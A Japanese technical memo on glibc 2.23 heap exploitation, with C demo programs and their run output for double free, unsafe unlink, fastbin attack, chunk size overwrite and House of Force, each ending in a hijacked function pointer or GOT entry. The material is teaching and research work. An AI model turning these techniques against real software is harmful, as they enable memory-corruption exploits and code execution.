malloc系exploitテクニックのうち、応用がしやすそうなもののメモ。
環境
Ubuntu Server 16.04.1 LTS 64bit版、GLIBC 2.23
$ uname -a Linux vm-ubuntu64 4.4.0-31-generic #50-Ubuntu SMP Wed Jul 13 00:07:12 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux $ lsb_release -a No LSB modules are available. Distributor ID: Ubuntu Description: Ubuntu 16.04.1 LTS Release: 16.04 Codename: xenial $ /lib/x86_64-linux-gnu/libc.so.6 GNU C Library (Ubuntu GLIBC 2.23-0ubuntu3) stable release version 2.23, by Roland McGrath et al.
double free vulnerability and overlapping chunks
double free脆弱性は一度freeしたポインタをもう一度freeできてしまう脆弱性である。 この脆弱性を使うと、次のようにしてオーバーラップしたchunkを二つ得ることができる。
/* double_free.c */ #include <stdio.h> #include <stdlib.h> #include <string.h> int main() { char *p1 = malloc(0x80); char *p2 = malloc(0xc0); printf("p1 = %p\n", p1); printf("p2 = %p\n", p2); puts("\n[+] free p1 and p2"); free(p1); free(p2); puts("\n[+] allocate p3"); char *p3 = malloc(0x100); printf("p3 = %p\n", p3); puts("\n[+] p1 double free"); free(p1); puts("\n[+] allocate p4"); char *p4 = malloc(0x140); printf("p4 = %p\n", p4); puts("\n[+] now p3 and p4 is overlapped"); memset(p3, 'A', 0x100); memset(p4, 'B', 0x100); printf("*p3 = %s\n", p3); printf("*p4 = %s\n", p4); return 0; }
$ gcc double_free.c -o double_free $ ./double_free p1 = 0xd61010 p2 = 0xd610a0 [+] free p1 and p2 [+] allocate p3 p3 = 0xd61010 [+] p1 double free [+] allocate p4 p4 = 0xd61010 [+] now p3 and p4 is overlapped *p3 = BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB *p4 = BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
これを利用してheap上のchunk headerを書き換えることにより、以降で述べるような攻撃が可能になる。
allocate large chunks in heap segment
通常0x20000バイト(M_MMAP_THRESHOLD
)以上のメモリをallocすると、その領域はmmapにより確保される。
しかし、一度確保したメモリをfreeしてからあらためてallocすると、以降の領域はheap領域に確保される。
/* large_chunks_in_heap.c */ #include <stdio.h> #include <stdlib.h> int main() { char *p1 = malloc(0x100000); printf("p1 = %p\n", p1); puts("\n[+] free p1"); free(p1); char *p2 = malloc(0x100000); printf("p2 = %p\n", p2); char *p3 = malloc(0x100000); printf("p3 = %p\n", p3); char *p4 = malloc(0x100000); printf("p4 = %p\n", p4); return 0; }
$ gcc large_chunks_in_heap.c -o large_chunks_in_heap $ ./large_chunks_in_heap p1 = 0x7f6b7ccd2010 [+] free p1 p2 = 0x198a420 p3 = 0x1a8a430 p4 = 0x1b8a440
unsafe unlink attack
古くに存在した攻撃手法としてunlink attackが知られているが、glibc 2.3.4以降、次に示すようなチェックによりこの攻撃は防がれている(safe unlinking)。
/* Take a chunk off a bin list */ #define unlink(P, BK, FD) { \ FD = P->fd; \ BK = P->bk; \ if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \ /* <- here */ malloc_printerr (check_action, "corrupted double-linked list", P); \ else { \ FD->bk = BK; \ BK->fd = FD; \ if (!in_smallbin_range (P->size) \ && __builtin_expect (P->fd_nextsize != NULL, 0)) { \ assert (P->fd_nextsize->bk_nextsize == P); \ assert (P->bk_nextsize->fd_nextsize == P); \ if (FD->fd_nextsize == NULL) { \ if (P->fd_nextsize == P) \ FD->fd_nextsize = FD->bk_nextsize = FD; \ else { \ FD->fd_nextsize = P->fd_nextsize; \ FD->bk_nextsize = P->bk_nextsize; \ P->fd_nextsize->bk_nextsize = FD; \ P->bk_nextsize->fd_nextsize = FD; \ } \ } else { \ P->fd_nextsize->bk_nextsize = P->bk_nextsize; \ P->bk_nextsize->fd_nextsize = P->fd_nextsize; \ } \ } \ } \ }
しかし、mallocで確保される領域のポインタがbss領域など推測可能なアドレスに配置される場合、偽のfreed chunkを作ることによりこのポインタ自体を書き換えることができる。
/* unsafe_unlink.c */ #include <stdio.h> #include <stdlib.h> void jackpot() { puts("jackpot!"); } char *p; int main() { printf("&p = %p\n", &p); p = malloc(0x40); char *p1 = malloc(0x80); printf("p = %p\n", p); printf("p1 = %p\n", p1); printf("p1->prev_size = %p\n", *(void **)(p1-0x10)); printf("p1->size = %p\n", *(void **)(p1-0x8)); puts("\n[+] abuse p overflow"); *(void **)(p+0x10) = (void *)&p-0x18; *(void **)(p+0x18) = (void *)&p-0x10; *(void **)(p+0x40) = 0x40; *(void **)(p+0x48) = 0x90; printf("p->fd->bk = %p\n", *(void **)(p+0x10)+0x18); printf("p->bk->fd = %p\n", *(void **)(p+0x18)+0x10); printf("p1->prev_size = %p\n", *(void **)(p1-0x10)); printf("p1->size = %p\n", *(void **)(p1-0x8)); puts("\n[+] free p1 (p <- &p-0x18)"); free(p1); printf("p = %p\n", p); puts("\n[+] modify p and write *p"); *(void **)(p+0x18) = 0x601028; /* printf@got */ *(void **)p = jackpot; printf("p = %p\n", p); return 0; }
$ gcc unsafe_unlink.c -o unsafe_unlink unsafe_unlink.c: In function ‘main’: unsafe_unlink.c:23:24: warning: assignment makes pointer from integer without a cast [-Wint-conversion] *(void **)(p+0x40) = 0x40; ^ unsafe_unlink.c:24:24: warning: assignment makes pointer from integer without a cast [-Wint-conversion] *(void **)(p+0x48) = 0x90; ^ unsafe_unlink.c:35:24: warning: assignment makes pointer from integer without a cast [-Wint-conversion] *(void **)(p+0x18) = 0x601028; /* printf@got */ ^ $ ./unsafe_unlink &p = 0x601058 p = 0x11a2420 p1 = 0x11a2470 p1->prev_size = (nil) p1->size = 0x91 [+] abuse p overflow p->fd->bk = 0x601058 p->bk->fd = 0x601058 p1->prev_size = 0x40 p1->size = 0x90 [+] free p1 (p <- &p-0x18) p = 0x601040 [+] modify p and write *p jackpot!
fastbins unlink attack
通常0x40(64)バイト(M_MXFAST
)以下のメモリをallocすると、その領域はfastbinsと呼ばれる特別なfree listに繋がれるchunkとして扱われる。
さらに、fastbins chunkがunlinkされる際のチェックは、通常のunlinkとは異なり、p->fd->size
が正しいかどうかのみとなる。
これを利用すると、書き換えたいアドレスの1ワード前をコントロールできる場合、次のようにして攻撃を行うことができる。
/* fastbins_unlink.c */ #include <stdio.h> #include <stdlib.h> void leave() { puts("exiting..."); } void jackpot() { puts("jackpot!"); } void (*p)() = leave; int main() { printf("&p = %p\n", &p); char *p1 = malloc(0x20); char *p2 = malloc(0x40); printf("p1 = %p\n", p1); printf("p2 = %p\n", p2); puts("\n[+] free p2"); free(p2); puts("\n[+] modify &p-0x8"); char *p_target = &p; *(void **)(p_target-0x8) = 0x51; printf("&p-0x8 = %p\n", *(void **)(p_target-0x8)); puts("\n[+] abuse p1 overflow"); *(void **)(p1+0x28) = 0x51; *(void **)(p1+0x30) = p_target - 0x10; printf("p2->size = %p\n", *(void **)(p2-0x8)); printf("p2->fd = %p\n", *(void **)(p2+0x0)); puts("\n[+] unlink p2"); char *p3 = malloc(0x40); printf("p3 = %p\n", p3); puts("\n[+] get target memory"); char *p4 = malloc(0x40); printf("p4 = %p\n", p4); *(void **)p4 = jackpot; p(); return 0; }
$ gcc fastbins_unlink.c -o fastbins_unlink fastbins_unlink.c: In function ‘main’: fastbins_unlink.c:21:22: warning: initialization from incompatible pointer type [-Wincompatible-pointer-types] char *p_target = &p; ^ fastbins_unlink.c:22:30: warning: assignment makes pointer from integer without a cast [-Wint-conversion] *(void **)(p_target-0x8) = 0x51; ^ fastbins_unlink.c:26:25: warning: assignment makes pointer from integer without a cast [-Wint-conversion] *(void **)(p1+0x28) = 0x51; ^ $ ./fastbins_unlink &p = 0x601050 p1 = 0x1013420 p2 = 0x1013450 [+] free p2 [+] modify &p-0x8 &p-0x8 = 0x51 [+] abuse p1 overflow p2->size = 0x51 p2->fd = 0x601040 [+] unlink p2 p3 = 0x1013450 [+] get target memory p4 = 0x601050 jackpot!
chunk size overwrite attack
隣接するfreed chunkのサイズを書き換えることにより、次のmallocでそのchunk以降にまたがる大きなchunkを確保することができる。 GHOST脆弱性(CVE-2015-0235)のPoCにて利用された。
/* chunk_size_overwrite.c */ #include <stdio.h> #include <stdlib.h> void leave() { puts("exiting..."); } void jackpot() { puts("jackpot!"); } int main() { char *p1 = malloc(0x80); char *p2 = malloc(0x80); void (**p3)() = malloc(sizeof(void *)); *p3 = leave; printf("p1 = %p\n", p1); printf("p2 = %p\n", p2); printf("p3 = %p\n", p3); printf("p2->size = %p\n", *(void **)(p2-0x8)); printf("*p3 = %p\n", *p3); puts("\n[+] free p2"); free(p2); puts("\n[+] abuse p1 overflow"); *(void **)(p1+0x88) = 0x1001; printf("p2->size = %p\n", *(void **)(p2-0x8)); puts("\n[+] allocate a large chunk"); char *p4 = malloc(0x200); printf("p4 = %p\n", p4); puts("\n[+] overwrite *p3"); *(void **)(p4+0x90) = jackpot; printf("*p3 = %p\n", *p3); (*p3)(); return 0; }
$ gcc chunk_size_overwrite.c -o chunk_size_overwrite chunk_size_overwrite.c: In function ‘main’: chunk_size_overwrite.c:22:25: warning: assignment makes pointer from integer without a cast [-Wint-conversion] *(void **)(p1+0x88) = 0x1001; ^ $ ./chunk_size_overwrite p1 = 0x1349010 p2 = 0x13490a0 p3 = 0x1349130 p2->size = 0x91 *p3 = 0x4005f6 [+] free p2 [+] abuse p1 overflow p2->size = 0x1001 [+] allocate a large chunk p4 = 0x13490a0 [+] overwrite *p3 *p3 = 0x400607 jackpot!
House of Force attack
heap領域に並ぶchunkの一番最後(top chunk)のサイズを-1(0xFFFFFFFFFFFFFFFF)のような大きな値で書き換え、さらにサイズを細工した巨大なchunkを確保することにより、次のmallocが返すアドレスを任意の0x10の倍数となるアドレスにすることができる。 これを行うには、以下の条件をすべて満たすことが必要である。
- top chunkのアドレスが推測可能
- top chunkのサイズを任意の値に書き換えられる
- その後任意のサイズのmallocを呼ぶことができる
/* house of force.c */ #include <stdio.h> #include <stdlib.h> void leave() { puts("exiting..."); } void jackpot() { puts("jackpot!"); } int p_must_be_aligned_on_0x10_byte_boundaries = 0xdeadbeaf; void (*p)() = leave; int main() { printf("&p = %p\n", &p); char *p1 = malloc(0x40); char *top_chunk = p1+0x40; printf("p1 = %p\n", p1); printf("top chunk size = %p\n", *(void **)(top_chunk+0x8)); puts("\n[+] abuse p1 overflow"); *(void **)(p1+0x48) = -1; printf("top chunk size = %p\n", *(void **)(top_chunk+0x8)); puts("\n[+] allocate a huge chunk"); unsigned long newsize = (void *)&p-0x10-(void *)(top_chunk+0x10); char *p2 = malloc(newsize); puts("\n[+] get target memory"); char *p3 = malloc(0x80); printf("p3 = %p\n", p3); *(void **)p3 = jackpot; p(); return 0; }
$ gcc house_of_force.c -o house_of_force house_of_force.c: In function ‘main’: house_of_force.c:21:25: warning: assignment makes pointer from integer without a cast [-Wint-conversion] *(void **)(p1+0x48) = -1; ^ $ ./house_of_force &p = 0x601050 p1 = 0x65b420 top chunk size = 0x20ba1 [+] abuse p1 overflow top chunk size = 0xffffffffffffffff [+] allocate a huge chunk [+] get target memory p3 = 0x601050 jackpot!
関連リンク
- shellphish/how2heap: A repository for learning various heap exploitation techniques.
- katagaitai CTF勉強会 #1 pwnables編 - DEFCON CTF 2014 pwn1 heap
- HITCON CTF Quals 2016 Writeup - ShiftCrops つれづれなる備忘録
- Advanced Heap Exploitation: 0CTF 2015 'freenote' writeup
- BCTF 2016 writeup - しゃろの日記
- Heap overflow using Malloc Maleficarum | sploitF-U-N
- gb_master's /dev/null – … and I said, "Hello, Satan. I believe it's time to go."